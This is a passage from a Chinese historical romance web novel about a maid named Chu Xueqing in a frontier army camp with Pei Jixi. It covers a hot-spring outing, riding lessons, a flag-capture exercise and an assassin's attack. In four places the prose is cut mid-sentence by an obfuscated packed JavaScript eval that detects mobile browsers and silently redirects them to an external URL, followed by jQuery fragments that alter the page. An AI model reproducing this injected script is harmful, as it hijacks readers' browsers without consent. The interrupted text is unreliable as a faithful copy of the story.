裴霁曦的手温热厚实,初雪晴的手却稍显冰凉,一冷一热,紧贴在一起。 方才还只是指尖碰触,这下两个人的手紧贴着,初雪晴觉得脸颊开始微微发烫,手心越来越滑,手背贴着他的手掌,也开始逐渐升温,不自觉缩了下手。 裴霁曦这才突然意识到此举不妥,忙松了手,清了清嗓子,道:“就是这样,你自己练吧。” 走到书桌后,想坐下,又觉得帐内闷热,平复了下情绪,道:“我出去看看,你今日要把字帖都抄一遍。” 说着不等她回答,便径直离帐。 他走后,初雪晴长呼一口气,不敢深思方才的感受,赶紧照着帖子写字。 可写着写着,不自觉看向自己的手背,仿佛上面贴着什么东西。 她轻叹一声,甩了甩手,继续练字。 * 三日之期很快过去,初雪晴特地等到夜间操练结束,才去找祈允。她和裴霁曦说过之后,裴霁曦也跟着她,想要看看她如何改变祁允。 他们找到祈允时,祈允正独自坐在演舞台边沿上,低头沉思。 初雪晴继续上前,裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702256|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霁曦停在不远处,一身玄衣,隐在夜色之中。 远处有好些士兵围着何生,笑笑闹闹,与祈允这边形成了鲜明的对比。 清冷的月光映照在祁允脸上,让少年的面色更填寂寥。眉眼间冷冽之气稍减,却仿佛霜打的茄子,失去了精神气。 她坐到祁允身旁,还未开口,祁允感受到她的到来,稍稍向外折身,离她远了些,却没有起身离开。 初雪晴对祁允淡笑道:“看样子,祁小哥是还没有找到同盟吧?” 祁允瞥她一眼,道:“说吧,你有什么要求。” 初雪晴没有回答他这个问题,话锋一转,道:“你可知主帅、副将、士兵在军中都应该做什么?” 祁允疑惑抬头,半晌答道:“自然都是上阵杀敌。” 初雪晴摇摇头道:“主帅负责把控方向,确定战略;副将负责执行战略,选择正确的方法;士兵负责执行军令,冲锋陷阵。” 顿了顿,她又道:“你武功兵法都不在话下,可即使这样,一个人也赢不了一场战事。真正决定一场战事的,是一个军队,而职级越高,越要顾虑整个队伍。” 她指了指远处和士兵畅聊,开怀大笑的严奇胜,问道:“你可知,严将军武艺高强,谋略却略有逊色,为何做到了将军之职?” 祁允不自觉被她引领,问:“为何?” 初雪晴回想着裴霁曦对她所描述的严奇胜,道:“因为他最重“义”,他在战场上不轻易抛弃任何一个战友,能够不顾自身性命,营救战友;对牺牲的战友,他亲自到对方家中,把对方的父母当成自己的父母孝敬。在士兵心中,他不仅仅是将军,更是兄弟。” 祁允皱眉问道:“一定要和士兵做兄弟才行?” “不一定,每个将领都有自己的驭人之术,但无论哪种,都要和自己的兵有基本的战友之谊。太过高高在上,难免让人心生不服。” 祁允垂头沉思,半晌,喃喃道:“可我不知怎么接近他们。” “那就从一两件小事改变,比如,”初雪晴伸出食指,在空中画了一道向下弯折的弧线,“从笑做起,见到别人,先用笑打招呼。” 祁允试着弯了弯唇角,初雪晴见了不由得噗嗤一笑:“你笑得也太假了,你这是皮笑肉不笑。” “那要如何笑?” “像这样。”初雪晴展示了一个灿烂的笑容,嘴角翘起,眼睛微眯,“俗称眉开眼笑。” 祁允看着她的笑容愣神,初雪晴的眉眼清秀,配上微弯的弧线,竟有种不可控的感染力,让人觉得亲近,而他所缺失的,正是这份亲切感。半晌他才低头道:“知道了。” “还有,你有个最大的优势,就是文武都不再话下,只要你愿意稍作指导,大家肯定还是愿意学的。”顿了顿,初雪晴又补充道,“但是指导别人的时候,注意语气,收敛下自己的傲气,就更好了。” “收敛傲气?” “对,比如,指导完别人,问一句,‘我讲清楚了吗’,要比问,‘听懂了没’,更能让人接受。” 祁允默默点头,半晌抬头看她:“你说赢了让我听你的,你可对我有什么要求?” “要求都已经说了,你慢慢改变。”说完初雪晴起身拍了拍身上的土,向他一笑道别。 只留下祁允坐在台上,若有所思。 21. 第 21 章 裴霁曦站在夜色之中,看着初雪晴离开祁允,向他走来。 少女面带笑容,眉眼微弯,嘴角一如她用食指画出的弧度。 本来裴霁曦让她记录士兵操练情况,又去劝慰祁允,都是怕她无所事事要一起训练,才做的安排,本没指望什么,可她总是出人意料。 待她走到身旁,带着夜色的微凉,却用唇角的笑意淡化空气的冰冷,让人心生暖意。 裴霁曦也被感染,弯起唇角,道:“以往我教你时,总是说懂了么?你可是因为这个,心生不满?” 初雪晴忙摇头,“当然不是,只是有感而发罢了,每次被世子问‘懂了吗’的时候,总是担心自己做的不够好。推己及人,才想换个说法也许更好,视角的转换往往能看到不同的东西。” “好。”裴霁曦道,“那今后,我也会说,‘我讲清楚了吗?’” 夜风裹挟着冷意徐徐吹来,将裴霁曦身上的松木香味扩散到她的鼻尖,初雪晴心中莫名安定,微笑着点了点头。 裴霁曦又道:“做得不错,给你个奖励,回帐拿上换洗衣物,带你去个地方。” 初雪晴愣怔片刻,才应是,回了自己帐子。 她迅速拿好衣物,想了想,应该是裴霁曦要带她去别个较远的地方,可能会耽搁几天,才让她拿上衣物。 两人走出营帐,裴霁曦照旧脱下狐裘披在她的身上。 初雪晴有些纳闷,既然是去远处,还要带换洗衣物,为何不骑马外出。却见裴霁曦仍是带着她沿着小径往阴山上爬,这次路过半山腰的平台,却未作停顿,仍旧继续向上。 初雪晴虽有不解,但也未多问,只跟着裴霁曦的步伐,向上走着,偶尔路过覆着冰雪陡峭的地方,裴霁曦会隔着衣袖拉住她的手腕,让她借力向上,防止她跌倒。 直到走至一处稍缓的山坡,裴霁曦带她穿过一片冰雪覆着的松林,停在一处山洞之前。 夜色昏暗,唯有白雪映衬的一点点微光,裴霁曦指着前方的洞口道:“里面是一处温泉,我在此守着,你进去吧。” 初雪晴这才明白他的意图,军营洗漱不便,她的帐子不像裴霁曦的帐子那般大,放不下浴桶,每天只能简单擦洗,能够痛快沐浴,对她而言已经是奢侈了。 裴霁曦从怀中拿出一根蜡烛,拿火折子点燃递给她,“去吧。” 烛光照亮了初雪晴的脸,她脸上浮起红晕,脱下狐裘披在裴霁曦身上,接过蜡烛,垂下眉眼,讷讷道了声:“谢谢世子。” 和洞外的彻骨寒冷截然不同,洞内充盈着丝丝缕缕的热气,初雪晴将蜡烛放置在一旁,走向池子。 褪去身上衣物,甫一塌入池子,层层暖意就涌上了四肢百骸,她不禁长舒了口气,散开发髻,任一头青丝漂在水上。 昏暗中氤氲着温暖的水雾,微弱的烛光洒在水面,随着水波飘荡着碎金般的流光。 涤荡在百骸的舒适感冲散了身上的疲惫,太久没有这般畅快沐浴了,她把头慢慢潜入水底,憋气,片刻,扬头浮出水面。 甩出来的青丝激起四溅的水花,落到周围的石台之上,不巧,正好熄灭了微弱的烛火。 猛地陷入黑暗,她不禁叫了一声。 洞外的裴霁曦听到喊声,忙问:“怎么了?” 初雪晴回过神,赶紧答道:“不小心把烛火熄灭了,没事,没事。” 火折子在裴霁曦身上,他又不方便进去送,便问她:“要不我把火折子给你扔进去?” 初雪晴冲外喊道:“不用了,万一扔到池子里呢。我很快就洗完,没事。” 黑暗之中,初雪晴也加快了动作,只是水声在洞里的回声,方才在烛光之下略为动听,此刻在一片黑寂之下,就显得有些瘆人。 她不禁冲外问:“世子,你还在吗?” “在。”声音即刻从洞外传了进来。 “没事,在就好。”初雪晴压下黑暗中稍微涌起的一点惧意,起身摸索着布巾擦身。 “不用怕,我就守在洞口。”仿佛是猜到了她的畏惧,裴霁曦用略带沙哑的声音安抚她。 初雪晴心下稍安,洗完后,迅速穿好衣服,匆匆拭发,也顾不上等头发干透,随意挽了个半髻,披着湿发跑出了山洞。 一出山洞,寒意就迅速从衣领和袖口处钻进来,初雪晴没忍住打了个寒颤。 裴霁曦见状,兜头把狐裘给她披上,忙道:“怎么不擦干头发。” 他推着初雪晴进入山洞,找到方才的蜡烛点燃。 山上的寒冬冷意沁骨,初雪晴只是出洞了一会,头发已经冻成一条一条的。 烛光映照在初雪晴的脸上,白皙的面庞上浅浅的红晕,趁得她多出了平日没有的娇嫩,裴霁曦喉结滚了滚,故作镇定地移开目光。 他用暗哑的嗓音道:“你在此处待着,等到头发干了再出来。”说完就要转身离去。 初雪晴讶然道:“世子,外面太冷了,您、您还是在里面等吧。” “不妥。”裴霁曦沉声道,说着身影已走到洞外。 “那您把狐裘穿上。”初雪晴冲外喊道。 “我不冷。”还很热,刚才被洞内热气熏的他浑身不自在,正好在这冰天雪地冷静一下。 初雪晴独自在洞内,方才被冻冰的头发已然化开,重新散发了热气,水珠顺着头发滴到了狐裘之上,她脱下狐裘,狐裘领部和肩部已经沾上了水,现在也的确不适合拿出去穿。 洞内太过安静,只听得见自己的呼吸声,就这么沉默着,实在尴尬。她试着提高嗓音对外面道:“世子,您是怎么找到这里的?” 须臾,裴霁曦的声音从外面传来:“过阵子阵型训练得差不多了,要带新兵来拉练,我踩点时看到的。” “拉练?”初雪晴问,“是到山上来吗?” “是,到时候分几个队伍比赛,争旗。” 新兵的训练着实多样,初雪晴每日看着,都觉得心痒难耐。她犹豫道:“世子,为何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716009|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不让我跟着新兵一起训练呢?” 裴霁曦坦言道:“你跟着我练了这么长时间,连下盘都不稳,底子太差,他们的训练强度你跟不上,适得其反。” 初雪晴知道自己的短处,也知晓自己短时间无法成为一个合格的士兵,可她仍记得前些日子裴霁曦说的,走错了路,也可以回头。 但是,若裴霁曦也觉得她不堪培养,她便是在浪费这难得的机会。 她讷讷问道:“那……世子觉得,我是不是不适合在军中?” 裴霁曦听出了这语气的失落,犹豫一瞬,安慰她道:“现在谈这些都为时尚早,等你去了明履营中,他们那有针对女兵的训练方法,到时再看也不迟。” 初雪晴低语应了句:“哦。” 她只得顺着裴霁曦的话,在心中安慰自己,她每日见的,都是男兵,拿自己与男兵比较,自然是比不得的。 “我听闻明履营已经很久没有新兵了。” 洞口的裴霁曦,感受着呼啸的冬风,方才的躁乱已经慢慢平复,听到初雪晴这句话,他也无奈道:“这条路对女子而言,本就艰难。” “可我觉得,这已经是最好的一条路了。”初雪晴坚定道。 起码对现在的她而言,是最好的一条路。 两人又隔着洞口,有一搭没一搭地聊着。洞外寒风凛冽,松树上裹着的白雪和地面上的白色相互映衬着,让浓夜染上清冷。洞内热气蒸腾,幽幽烛火摇曳闪烁着,让暖意沁入心脾。 待初雪晴头发干了以后,他们原路返回,初雪晴走在裴霁曦身旁,身上披着的狐裘已经干了,还带着松木香味,走在阴山的松林之中,让这松木香味更甚。仿佛被裴霁曦的气味包裹着。 可奇怪的是,明明隔着一个洞口,两人聊了那么久,可这漫长的回营之路,两人却沉默异常。 仿佛那洞口隔开的不是两人的距离,是为夜色罩了层遮羞布。 * 翌日,晨光熹微,初雪晴照常侯在裴霁曦帐外等着给他收拾屋子,裴霁曦今日起得格外晚。 等了一会,听到裴霁曦起床的簌簌声,她唤了声世子便要掀帘进帐,可裴霁曦却呵止了她进帐的脚步:“不用进来伺候了。” 她疑惑不解,正欲发问,又听到裴霁曦沙哑的嗓音:“你现在去把字帖抄上一遍,我半个时辰以后检查。” 半个时辰,那么多字,她早食还未用,这是不让她用饭了?初雪晴也没敢问原因,急忙告退回帐抄写。 帐内,裴霁曦听到她离去的脚步,狂乱的心跳才渐渐恢复。 他看着一床的狼藉,心想,下次,还是应该让墨语陪她去山上。 可这念头刚一冒出,就被自己否决了。 他只觉自己是年龄到了,才会做乌七八糟的梦,他忍得住,不代表别人没有歪心思。 将褥子与衣服团做一团,又点了熏香,直至松木香味从香炉的纹路中弥漫开来,他才放心拿起那一团乌糟,向账外走去。 22. 第 22 章 新兵们经过十余天的训练,已初步分了不同的兵种,每个兵种都有自己侧重训练的内容。但是对于其他的技能,也要稍加练习。 初雪晴日日看他们训练,虽知自己底子不好,但仍难免心痒。 这日暮间,士兵操练稍歇,她跑去校场的兵器架旁,看过一样样的兵器,长枪她试过,太长,不好把控;大刀,她这个生手,拿起来容易伤到自己;铜锤太重,她兴许都拿不起来……一样样看过去,她站在了架好的弓旁。 她伸手摸了摸,听说这是上好的牛角弓,十分光滑,应是被许多人用过的。 她刚要试着去拉弓,身旁响起一个声音:“你这么小的身板,是拉不动这个弓的。” 她回头一看,是祈允,身上还未卸甲。 祁允自他们谈话后,便开始用她教的方法,试着融入众人,虽说难以做到像何生那样游刃有余,但也有几个人因他武艺好来向他虚心求教。 祈允别扭地冲她笑了笑,她见状,也回以一个灿烂的笑容,问道:“祁小哥能拉一次让我学学么?” “叫我祈允吧。”祈允说着,就拿起羽箭,拉紧弓弦,冲着前方的箭靶瞄准,“簌”的一声,羽箭冲靶心飞去,稳稳地扎在草靶之上。 “真厉害!”初雪晴感叹道,不由拿起了弓,甫一上手,便觉这弓也太沉了。用力试了试拉弓,弓弦只有一点点难以看出的弧度。正如祈允所说,果真拉弓需要极大的臂力。 祁允帮她正了正拿弓的方向,轻扶她的手臂,正欲教她如何拉弓,便听到身后响起一个声音:“你臂力不够,现在不适合学拉弓。” 初雪晴扭头,看见裴霁曦逆着夕阳的余晖走过来,棱角分明的面部线条,在光晕下俊朗无比。 裴霁曦接过长弓,随手抽出一只羽箭,利落射出,这次,羽箭穿透草靶的靶心,由于力道过大,草靶都倒了。 初雪晴惊得说不出话,这速度,这力度,不愧是10岁敢上战场的人。 裴霁曦等了片刻,没等到意料之中的夸奖,清了清嗓子,道:“弓箭对臂力有所要求,你若想,回头教你练弩,弩与弓相比,不仅威力更强,射程也更远,但较易上手,对臂力要求不高。” 初雪晴回过神问:“那为何打仗不都用弩,还要用弓呢?” 还未等裴霁曦作答,祁允就插话道:“因为弓比弩的发射速度更快,速度在战场上非常重要。” 裴霁曦补充道:“弓更适合骑兵;弩因为发射速度受限,一般为步兵所用,在发射时分为三组,第一组射箭,第二组拉弓,第三组瞄准,第一组射完,转到最后一组瞄准,由第二组继续射箭。” 初雪晴叹道:“原来兵器也有这么多学问。” 裴霁曦转头看向祁允,漫不经心道:“已经放饭了,你还不去吗?” 祁允问:“将军和冬学不吃吗?” “我们在自己帐子用饭。”裴霁曦答道。 祁允当然知道他们不与士兵一起用饭,只是想和初雪晴多说几句感谢她,可看到裴霁曦的脸色寒若冰霜,这才折身离开。 待祁允走了,裴霁曦对初雪晴道:“欲速则不达,你先把底子打好,再考虑兵器的事。” 初雪晴讷讷“哦”了一声,又问:“世子,我看你平常会练剑,可为何军营中没见多少人用剑呢?” “因为剑轻盈灵活,适合习武者练习,并不适合在战场上厮杀。战场上,长枪和大刀更有优势,尤其是长柄的马刀,是对阵北狄骑兵的好物。”话锋一转,他又道,“兵器过一阵再说,你可以先学骑马,你可想学?” “想。”初雪晴毫不犹豫答道。 “不饿的话,先带你练练?” 初雪晴自然愿意。 两人走到马厩之中,裴霁曦为她挑了一匹黑色的矮马,牵了出来。 初雪晴试探性地摸了摸马的脖子,小矮马温顺地晃了晃脖子,她不自觉弯起唇角,道:“世子,它好乖,我能上去吗?” 裴霁曦没回答她,直接抓住她的肩,往小矮马上一带,她还没反应过来,就已经坐到了马上。 短暂惊吓过后,一点点离地的兴奋才涌上心头,刚开始还僵着身子不敢乱动,直到裴霁曦把缰绳递到她的手中,又从背后扶着她的腰,她才略为放松一些,又不忘叮嘱裴霁曦:“世子,您莫要放手,我还不敢自己骑。” 裴霁曦唇角绽开一丝笑意,“嗯”了一声,手没有从她腰上松开,只慢慢引着马向前走。 天边最后一抹晚霞渐渐消失,营地的火把都已经燃起,校场旁的长道上,骑着马的少女,和她身旁紧紧护着她的少年,就在昏暗的火光之中,慢慢前行。 待她渐渐熟悉了,对这速度又开始不知足,对裴霁曦道:“世子,能快些吗,像骑兵白日操练那般飞奔。” 裴霁曦答:“你刚学,还不能那样,你若想跑起来,我带你可好?” “好,就像咱们这次来邺清,若不是我们几个丫鬟做马车耽误了进度,咱们本可早点到的,以后再跟着世子出去,我也骑马,就不拖世子后退了。” 裴霁曦难掩笑意,“以后”是一个温暖的词。 他们换了裴霁曦专属的坐骑,一匹通体雪白的战马,叫做流光。裴霁曦将她送上马后,径直坐在她的身后。 两人挨得很近,直到真切地感受到两人的距离,初雪晴才觉不妥。身后的松木香不断传来,这是初雪晴最喜欢的味道,一直用松香为他熏衣,可如今这香气却不断扰乱她的思绪。 初雪晴虽然这一年长高了,却还是矮裴霁曦许多,此时两人坐着,初雪晴的头刚好在他胸前,就像两人亲密地依偎一般。 裴霁曦抬手绕过她的身子,拉住缰绳,催马前行。 裴霁曦轻扬马鞭,奔驰的骏马带着他们一圈一圈地跑着,速度越来越快,感受到耳旁风声呼啸而过,初雪晴因羞赧升上面庞的热度这才散去。 她前世因心脏病,不能跑步,这种受自己操控的速度,美好地让人沉醉。 跑了两圈,裴霁曦拉紧缰绳,勒马停止了前行。 裴霁曦下马后,冲着初雪晴伸手道:“今天就到这,以后再带你慢慢练。” 初雪晴那因速度而砰砰直跳的心脏还未平静,身后的热源乍然消失,才感受到冷风的侵袭。她将手放到裴霁曦的手上,裴霁曦顺势扶着她的腰把她抱下来。 夜风肆虐,可裴霁曦的手,却很暖。 * 转眼到了新兵出营去山上拉练的日子,士兵被分成了二十个队伍,祁允、何生此次也各带领了一只队伍。 清晨,校场的演武台之上,严奇胜扯着嗓子在做最后的宣讲:“几位参将带兵守第一关,方副将带兵守第二关,本将军在最后一关等着你们,看最终哪只队伍能取得胜利大旗。” 新兵们都很兴奋,有胆大的喊了一句:“裴小将军能不能亲自守关啊?” 裴霁曦就站在演武台旁,面无表情,慢悠悠道:“你们能取到了旗子再说。” 初雪晴看向说话的士兵,是祁允队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722320|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伍里的郑大勇,能喊话军中主将而不露怯,胆子的确很大。 大队出发以后,营地只剩一些看守士兵。 裴霁曦对初雪晴道:“正好人少,你可以肆意跑马了。” “世子,您不去看着他们吗?”初雪晴不解问道。 “还不到时候。” 说着让人牵来了他的流光,他抚了抚流光的脖颈,对着流光低喃了几句,招呼初雪晴过来,“来,你如今骑得不错,可以换高马骑了。” 初雪晴轻轻摸了摸流光,听说好马认主,虽说裴霁曦带她骑过,可如今让她一个人骑,还是略显忐忑。 裴霁曦没给她犹豫的时间,扶着她上了马,待她坐定,拉好了缰绳,裴霁曦轻拍马屁股,流光嘶鸣一声,扬蹄出发。 这次,没有裴霁曦在她身后,她自己拉着缰绳,感受着风的速度和空气中扬尘的味道,这种身心可控的自由感,弥足珍贵。 待她跑了一段距离,却见裴霁曦骑了另一批马,追上了她,到她身侧,看向她,轻抿嘴角,加速超过了她。 初雪晴被激起了胜负欲,拍拍流光的屁股加速,流光仿佛也不满主人骑其他的马抛下了自己,更加卖力奔跑。 奈何虽然不是骑自己的坐骑,裴霁曦还是快了她一个马身的距离,她只能吃前马扬起的飞尘。 可每当她离裴霁曦越来越远,裴霁曦总是放缓速度等她,待她到近前,又加速超过她。 这挑衅的意味,生怕她没看出来。 初雪晴被气笑了,都没喊“世子”,直接叫:“喂,你等我就等我,超我就超我,为何等了我又超我!” 裴霁曦回头,晨曦映照在他脸上,明明是柔和的暖阳,却让他耀眼而刺目,他绽放起爽朗笑容,夺目般明媚。 初雪晴突然就不气了,心中暖阳四射。 待两人稍歇,初雪晴坐在演武台边上,看着身旁的裴霁曦问道:“世子,为何您在士兵面前,都不笑呢,您笑起来多亲切。” 裴霁曦抬了抬眉,道:“是不是我对你笑多了,你的问题怎么这么多。” “不敢不敢,就是觉得,虽然大家都很服您,但却不像对严将军那样,就是……” “就是因为我姓裴,不然就和祈允一样,与众人格格不入了是吗?” 初雪晴忙解释:“不不不,当然不一样,起码您会笑,祈允现在是装笑,但是……您是装不笑。” 裴霁曦缓缓道:“因为我理解的主将,就如同我父亲那样,不苟言笑。” “可不是所有主将都不苟言笑的。” 裴霁曦回道:“可不是所有主将都是我父亲。” 初雪晴点点头,世子8岁就没了母亲,一直跟着定远侯在军营,想必父亲对他的意义肯定不一样。 “世子,是外冷内热型的。祈允那种,是外冷内冷型的。” “怎么总拿我和他比。”裴霁曦不自觉轻皱了下眉头。 初雪晴急中生智,答道:“这不是对比出世子的好么。” 裴霁曦用食指关节轻敲了下初雪晴的头,“就你能编。” “世子还是多笑笑,毕竟,笑也是种武器。”初雪晴一贯如此,不管对着何人,笑容总是能让人减少距离感,更易达成目标。 裴霁曦反驳道:“笑,只是情绪。” 初雪晴愣怔片刻,缓缓点头。她喜欢见人微笑,是要利用笑容拉近距离,而不是发自真心。但世子说得对,笑,本只是情绪而已。她说祁允笑得假,她又何尝不是呢。 23. 第 23 章 等到夕阳渐渐收起锋芒,暮色染上清灰,裴霁曦才独自离开营中,走小路到终点处,等着看哪只队伍获胜。 直到素月遍洒清光,才等到一只队伍,闯过了严奇胜守的最后一关,到终点拿到了旗子。 是祈允,他摘得旗子后,大喊:“我们胜了!” 陆续到达的队伍只能眼睁睁看着他们取得旗子。 众人兴奋地举起少年,他忙将旗子给到身旁士兵,怕折到旗子,紧接着被抛向空中,祈允在众人的欢呼声中,终于露出一个真切的笑容。 可是,谁都没有注意到,就在他们欢呼的时候,有一个身影,从人群外围破口而入,赤手空拳撂倒一群汉子,直奔拿旗的士兵,趁其不备,抢下旗子。 祈允见状,急忙招呼众人去抢,可看到夺旗人的脸,大家都愣了。 谁成想裴霁曦竟趁众人兴奋欢呼疏忽大意之时,把旗子抢走了。 没人敢上前夺旗,只有祈允,冲上前去,迅速出拳。 裴霁曦倾身一闪,躲过他的拳,又伸手拽住他的胳膊往前,祈允险些跌跤,又顺势换了个方向,到裴霁曦身后攻击。 可裴霁曦没等他出手,手肘向后一撞,又转身抬腿扫他下盘,祈允本来经过一天的比拼,已然筋疲力尽,这一扫,直接让他趴倒在地。 他趴在地上,觉得自己狼狈至极,又不忿起身,喊道:“裴小将军何以趁人不备来夺旗,何况,规则里本没有你这一关。” 裴霁曦冷言回道:“规则,战场上敌人和你讲规则吗?” 众人都低头沉默,祁允也愣住了,一时无言。 裴霁曦接着道:“你们是要打仗的士兵,要面对的不是几场简单的比赛,而是无数战友的性命,还有你们身后的家人,你们要守卫的这个国家。 “任何一次战争,都不能掉以轻心,骄兵必败,不要被一时的胜利冲昏头脑。” 裴霁曦看向沉默的众人,又缓缓道:“不过,你们虽然没有获胜,但也获得了第一,该有的彩头还有,但是日后,切不可再犯同样的错误。” * 就在裴霁曦在山上训话的同时,初雪晴在自己帐中写完好几篇字帖之后,便想去为裴霁曦收拾房间。 她掀开帐子,进入外账,去收拾书桌上的文书,不小心碰掉了砚台,她想弯腰去捡,就在此时,身后猛然多出了一个身影,一只手拿布捂住她的口鼻,另一只手拿匕首抵住她的脖颈。 初雪晴被匕首抵着脖子,无法回头,看不到身后刺客是谁,背后传来低沉怪异的嗓音:“别喊,发出声音就要你的命。” 门口是两名护卫,只要初雪晴大喊,就会有人进来。可此刻自己的性命握在对方手中,她先虚与委蛇地点点头,对方见她尚算听话,便松开了捂着她嘴的手。 “北境布防图在哪?不说杀了你。”刺客恶狠狠地问道。 怪不得她觉得砚台的位置不对,原来早有刺客来帐中翻找过东西。 她故意颤着嗓音道:“我,我不知道,我只是一个小厮,怎么会接触这种东西?” “呵,小厮?”刺客嗤笑道,“一个让裴霁曦亲自教你骑马,日日同桌而食,还写训兵计划的小厮?” 初雪晴心中一沉,暗道不妙,稳了稳心神道:“世子是想把我培养成下一个墨语,可我资质太差,真的不接触这种东西。” 她一边说着,一边缓缓挪动自己的脚,碰到地上掉落的砚台,用力一踢,砚台被踢到窄几旁,发出声响,刺客被吸引了注意,初雪晴趁机大呼有刺客。 门口护卫冲进来,看见初雪晴被挟持,也未敢轻举妄动。 刺客陡然生怒,但也不敢轻易杀死手中的人质,在她耳边恶声道:“既然你什么都不知道,那就送我出去吧!”说着,对方便推着她往帐外走。 刺客对纷至而来的护卫道:“都退后,不然我杀了他。” 初雪晴感到冰凉的匕首贴着自己的脖颈,内心虽有惶恐,但仍不停思索着出路,她看到不远处赶来的墨语,心下稍定,低声对身后刺客道:“我只是一个小厮,你就算挟持了我,也逃不出去,最终咱们两个都逃不过一死。不如你放了我,我找机会帮你逃出去如何?” 她要不停说话,吸引刺客注意力,墨语出现,世子定在附近,他们会想办法救她的。 刺客却不买账:“你以为我会这么傻听你的?” 初雪晴继续道:“你且听听我的计划,再做决定如何?” 刺客见护卫并未退后,手中人质又喋喋不休,只得又对外大喊:“放下兵器,不然杀了他!”说着匕首微一用力,一抹鲜红顺着锋刃流下。 就在此刻,一只飞镖插中刺客手腕,刺客手一松,匕首掉落地上,墨语趁机捉住刺客手臂,制服了他。 另一人影出现在初雪晴旁,裹挟着淡淡的松木香气,扶住她的肩膀,用手捂着她流血的伤口,大喊:“军医,快叫军医!” 是裴霁曦,神色难得一见的慌乱。天知道,他方才射飞镖的手都差点失了往日的准头。 初雪晴见到他,才彻底放下心来,方才看到墨语,就知道裴霁曦也马上就会赶到,便想要和刺客拖延时间。虽然没拖延多久,但好在等到了裴霁曦。 她轻声道:“世子,我没事,只是皮外伤。” 裴霁曦见她容色无恙,却没敢松开捂住伤口的手,令墨语带刺客下去审问。 直到军医来到跟前,他才缓缓松开手。 军医仔细观察了下伤口,道:“还好,还好,只是浅浅的伤口,养养就好。” 裴霁曦的神色这才转安,又扶她坐下,令军医好好包扎,初雪晴见状,道:“是得赶紧包扎,再不包扎伤口都好了。” 裴霁曦眉头微蹙,“还知道说笑,适才有多危险你知不知道?你在军中始终不妥,明日便让墨语送你回邺清。” 初雪晴忙道:“世子,我真的没事。”又压低了声音,“而且,我有事要禀。” 裴霁曦待军医包扎好后,挥退众人,待帐内就剩下他二人,初雪晴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726320|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才对他道:“方才那刺客,非常了解我们,想必军中是出了细作。” 初雪晴说完,觉得别扭,裴霁曦站在自己身旁,而自己一个丫鬟却坐在正椅之上,欲起身,却被裴霁曦按住了肩膀,裴霁曦缓缓道:“那刺客眼生,高鼻深目,像是北狄人。” 初雪晴斩钉截铁道:“但他必有内应。”她抬头看着裴霁曦,却扯动伤口,“嘶”了一声。 裴霁曦轻按她的头防止她抬头,又倾身看她被包扎的地方有没有渗血,见无碍才问道:“依你之见,那细作是何人?” 此刻他二人距离属实有些近,初雪晴晃了晃心神,一时觉得裴霁曦呼出的气都洒到了自己的脖颈之上,痒痒的让人难耐;一时又觉得按在自己头顶的手有些灼热,倒是觉察不到伤口疼了。 好在裴霁曦很快起身拉开距离,拽过旁边的椅子坐在她身旁和她平视。她才收敛心神道:“虽不能完全确定,但此人今日必是希望世子早日离开营中,方便给同伙创造机会。” 裴霁曦微微点头,“还有呢?” “要说混进来,还是伪造身份混入新兵比较容易。可是新兵有两万人,逐个筛查实在麻烦。”她眉头一挑,道,“好不容易混进新兵,如果只当个普通的小卒,太浪费机会了,但太过出头又容易暴露,所以细作不应是太出色的,也不应是太平庸的。” “那你觉得,今日拉练之中,细作所在的队伍,是获胜的,还是失败的?” “必然不是获胜的,细作的目的不在争旗,而是要注意世子有没有出营。” 裴霁曦反问:“可万一细作所在的队伍本身就强,不被他一人左右结果呢?” 初雪晴微凝眉头,思索片刻道:“那看队伍获胜不获胜就不重要了,重点要看看被队伍落下的人。” 裴霁曦点头,“就算细作还在营中也无妨,我让墨语慢慢查,不急。” “可万一细作又有什么动作怎么办?” “短期内,细作最重要的是隐藏自己,不敢有动作。”裴霁曦忽而话锋一转:“无论如何,你在军中始终不妥,此次带你出来,是我欠思量了,你还是回邺清,待战事一了,再去姑母营中历练。” 初雪晴垂眸,抿紧了唇,片刻才道:“世子,我在军中这些日子,你觉得我有用吗?” 